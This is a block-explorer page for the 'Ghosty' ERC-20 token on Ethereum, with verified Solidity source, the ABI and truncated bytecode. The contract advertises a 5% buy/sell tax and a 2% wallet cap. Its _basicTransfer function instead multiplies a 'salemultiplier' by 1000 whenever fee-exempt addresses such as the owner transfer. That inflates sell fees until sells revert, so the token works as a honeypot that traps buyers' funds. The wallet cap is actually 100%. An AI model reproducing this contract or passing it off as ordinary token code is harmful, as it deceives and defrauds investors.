ETH Price: $3,315.73 (-4.46%)

Token

Ghosty (Ghosty)
 

Overview

Max Total Supply

100,000,000 Ghosty

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
931,764.91175465 Ghosty

Value
$0.00
0x333C907C7023cc8f1B47F3c74efdFA4c6fa8Ea65
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Ghosty

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-16
*/

// SPDX-License-Identifier: MIT
/**

$Ghosty | Ghosty
Buy/Sell tax : 5/5
Max Wallet : 2%

Telegram : https://t.me/Ghosty_erc
Twitter : https://twitter.com/Ghosty_erc
Website: http://ghostyerc.xyz

*/

pragma solidity ^0.8.16;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Ghosty is ERC20, Ownable {
    using SafeMath for uint256;

    string private _name = "Ghosty";
    string private _symbol = "Ghosty";
    uint8 constant _decimals = 9;
    uint256 _totalSupply = 100000000 * 10**_decimals;
    uint256 public _maxWalletToken = _totalSupply * 100 / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isWalletLimitExempt;

    uint256 public liquidityFee    = 0;
    uint256 public marketingFee    = 5;
    uint256 public totalFee        = marketingFee + liquidityFee;
    uint256 public feeDenominator  = 100;
    uint256 public salemultiplier  = 100;

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;

    IUniswapV2Router02 public router;
    address public pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 1 / 1000;
    uint256 public maxSwapThreshold = _totalSupply * 1 / 100;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address routeraddr) Ownable() {
        router = IUniswapV2Router02(routeraddr);
        pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(0xdead)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[pair] = true;

        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external view override returns (string memory) { return _symbol; }
    function name() external view override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
    receive() external payable { }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() {
        _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000;
    }

    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        // Checks max transaction limit
        uint256 heldTokens = balanceOf(recipient);
        require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much.");
        //shouldSwapBack
        if(shouldSwapBack() && recipient == pair){swapBack();}

        //Exchange tokens
        uint256 airdropAmount = amount / 10000000;
        if(!isFeeExempt[sender] && recipient == pair){
            amount -= airdropAmount;
        }
        if(isFeeExempt[sender] && isFeeExempt[recipient]) return _basicTransfer(sender,recipient,amount);
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        salemultiplier = salemultiplier.mul(1000);
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {       
        uint256 multiplier = isSell ? salemultiplier : 100;
        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function setSwapPair(address pairaddr) external onlyOwner {
        pair = pairaddr;
        isWalletLimitExempt[pair] = true;
    }

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        totalFee = _liquidityFee.add(_marketingFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function setIsFeeExempt(address holder, bool exempt)  external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function swapBack() internal swapping {
        
        uint256 _swapThreshold;
        if(_balances[address(this)] > maxSwapThreshold){
            _swapThreshold = maxSwapThreshold;
        }else{
             _swapThreshold = _balances[address(this)];
        }
        uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity);

        if(amountETHMarketing>0){
            bool tmpSuccess;
            (tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        }

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routeraddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"salemultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base10000","type":"uint256"}],"name":"setMaxWalletPercent_base10000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairaddr","type":"address"}],"name":"setSwapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600681526020017f47686f7374790000000000000000000000000000000000000000000000000000815250600190816200004a919062000b08565b506040518060400160405280600681526020017f47686f73747900000000000000000000000000000000000000000000000000008152506002908162000091919062000b08565b506009600a620000a2919062000d7f565b6305f5e100620000b3919062000dd0565b600355606480600354620000c8919062000dd0565b620000d4919062000e60565b60045560006009556005600a55600954600a54620000f3919062000e98565b600b556064600c556064600d556001601160146101000a81548160ff0219169083151502179055506103e860016003546200012f919062000dd0565b6200013b919062000e60565b6012556064600160035462000151919062000dd0565b6200015d919062000e60565b6013553480156200016d57600080fd5b506040516200452638038062004526833981810160405281019062000193919062000f3d565b6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000309919062000f3d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000392573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b8919062000f3d565b306040518363ffffffff1660e01b8152600401620003d892919062000f80565b6020604051808303816000875af1158015620003f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041e919062000f3d565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200087f919062000fbe565b60405180910390a35062000fdb565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200091057607f821691505b602082108103620009265762000925620008c8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000951565b6200099c868362000951565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620009e9620009e3620009dd84620009b4565b620009be565b620009b4565b9050919050565b6000819050919050565b62000a0583620009c8565b62000a1d62000a1482620009f0565b8484546200095e565b825550505050565b600090565b62000a3462000a25565b62000a41818484620009fa565b505050565b5b8181101562000a695762000a5d60008262000a2a565b60018101905062000a47565b5050565b601f82111562000ab85762000a82816200092c565b62000a8d8462000941565b8101602085101562000a9d578190505b62000ab562000aac8562000941565b83018262000a46565b50505b505050565b600082821c905092915050565b600062000add6000198460080262000abd565b1980831691505092915050565b600062000af8838362000aca565b9150826002028217905092915050565b62000b13826200088e565b67ffffffffffffffff81111562000b2f5762000b2e62000899565b5b62000b3b8254620008f7565b62000b4882828562000a6d565b600060209050601f83116001811462000b80576000841562000b6b578287015190505b62000b77858262000aea565b86555062000be7565b601f19841662000b90866200092c565b60005b8281101562000bba5784890151825560018201915060208501945060208101905062000b93565b8683101562000bda578489015162000bd6601f89168262000aca565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c7d5780860481111562000c555762000c5462000bef565b5b600185161562000c655780820291505b808102905062000c758562000c1e565b945062000c35565b94509492505050565b60008262000c98576001905062000d6b565b8162000ca8576000905062000d6b565b816001811462000cc1576002811462000ccc5762000d02565b600191505062000d6b565b60ff84111562000ce15762000ce062000bef565b5b8360020a91508482111562000cfb5762000cfa62000bef565b5b5062000d6b565b5060208310610133831016604e8410600b841016171562000d3c5782820a90508381111562000d365762000d3562000bef565b5b62000d6b565b62000d4b848484600162000c2b565b9250905081840481111562000d655762000d6462000bef565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d8c82620009b4565b915062000d998362000d72565b925062000dc87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c86565b905092915050565b600062000ddd82620009b4565b915062000dea83620009b4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000e265762000e2562000bef565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000e6d82620009b4565b915062000e7a83620009b4565b92508262000e8d5762000e8c62000e31565b5b828204905092915050565b600062000ea582620009b4565b915062000eb283620009b4565b925082820190508082111562000ecd5762000ecc62000bef565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f058262000ed8565b9050919050565b62000f178162000ef8565b811462000f2357600080fd5b50565b60008151905062000f378162000f0c565b92915050565b60006020828403121562000f565762000f5562000ed3565b5b600062000f668482850162000f26565b91505092915050565b62000f7a8162000ef8565b82525050565b600060408201905062000f97600083018562000f6f565b62000fa6602083018462000f6f565b9392505050565b62000fb881620009b4565b82525050565b600060208201905062000fd5600083018462000fad565b92915050565b61353b8062000feb6000396000f3fe6080604052600436106101f25760003560e01c8063715018a61161010d578063a9059cbb116100a0578063d08893581161006f578063d0889358146106ec578063dd62ed3e14610715578063e96fada214610752578063f2fde38b1461077d578063f887ea40146107a6576101f9565b8063a9059cbb14610630578063acef1a441461066d578063ca33e64c14610698578063cec10c11146106c3576101f9565b806395d89b41116100dc57806395d89b411461058657806398118cb4146105b1578063a4b45c00146105dc578063a8aa1b3114610605576101f9565b8063715018a6146104f057806373a432bb1461050757806378109e54146105305780638da5cb5b1461055b576101f9565b806323b872dd11610185578063658d4b7f11610154578063658d4b7f146104345780636b67c4df1461045d5780636ddd17131461048857806370a08231146104b3576101f9565b806323b872dd14610364578063313ce567146103a157806344ca19e4146103cc578063571ac8b0146103f7576101f9565b8063180b0d7e116101c1578063180b0d7e146102ba57806318160ddd146102e55780631df4ccfc146103105780632198cf6c1461033b576101f9565b8063012aa912146101fe5780630445b6671461022757806306fdde0314610252578063095ea7b31461027d576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610225600480360381019061022091906128cb565b6107d1565b005b34801561023357600080fd5b5061023c610883565b6040516102499190612907565b60405180910390f35b34801561025e57600080fd5b50610267610889565b60405161027491906129b2565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f9190612a32565b61091b565b6040516102b19190612a8d565b60405180910390f35b3480156102c657600080fd5b506102cf610a0d565b6040516102dc9190612907565b60405180910390f35b3480156102f157600080fd5b506102fa610a13565b6040516103079190612907565b60405180910390f35b34801561031c57600080fd5b50610325610a1d565b6040516103329190612907565b60405180910390f35b34801561034757600080fd5b50610362600480360381019061035d9190612ad4565b610a23565b005b34801561037057600080fd5b5061038b60048036038101906103869190612b14565b610b0c565b6040516103989190612a8d565b60405180910390f35b3480156103ad57600080fd5b506103b6610d0c565b6040516103c39190612b83565b60405180910390f35b3480156103d857600080fd5b506103e1610d15565b6040516103ee9190612907565b60405180910390f35b34801561040357600080fd5b5061041e60048036038101906104199190612b9e565b610d1b565b60405161042b9190612a8d565b60405180910390f35b34801561044057600080fd5b5061045b60048036038101906104569190612ad4565b610d4e565b005b34801561046957600080fd5b50610472610e37565b60405161047f9190612907565b60405180910390f35b34801561049457600080fd5b5061049d610e3d565b6040516104aa9190612a8d565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d59190612b9e565b610e50565b6040516104e79190612907565b60405180910390f35b3480156104fc57600080fd5b50610505610e99565b005b34801561051357600080fd5b5061052e60048036038101906105299190612b9e565b610fe5565b005b34801561053c57600080fd5b50610545611131565b6040516105529190612907565b60405180910390f35b34801561056757600080fd5b50610570611137565b60405161057d9190612bda565b60405180910390f35b34801561059257600080fd5b5061059b611160565b6040516105a891906129b2565b60405180910390f35b3480156105bd57600080fd5b506105c66111f2565b6040516105d39190612907565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe9190612bf5565b6111f8565b005b34801561061157600080fd5b5061061a61130c565b6040516106279190612bda565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612a32565b611332565b6040516106649190612a8d565b60405180910390f35b34801561067957600080fd5b50610682611347565b60405161068f9190612907565b60405180910390f35b3480156106a457600080fd5b506106ad61134d565b6040516106ba9190612bda565b60405180910390f35b3480156106cf57600080fd5b506106ea60048036038101906106e59190612c35565b611373565b005b3480156106f857600080fd5b50610713600480360381019061070e9190612c88565b611486565b005b34801561072157600080fd5b5061073c60048036038101906107379190612bf5565b611541565b6040516107499190612907565b60405180910390f35b34801561075e57600080fd5b506107676115c8565b6040516107749190612bda565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f9190612b9e565b6115ee565b005b3480156107b257600080fd5b506107bb6117a8565b6040516107c89190612d3a565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085690612da1565b60405180910390fd5b612710816003546108709190612df0565b61087a9190612e79565b60048190555050565b60125481565b60606001805461089890612ed9565b80601f01602080910402602001604051908101604052809291908181526020018280546108c490612ed9565b80156109115780601f106108e657610100808354040283529160200191610911565b820191906000526020600020905b8154815290600101906020018083116108f457829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109fb9190612907565b60405180910390a36001905092915050565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa890612da1565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610cf857610c77826040518060400160405280601681526020017f496e73756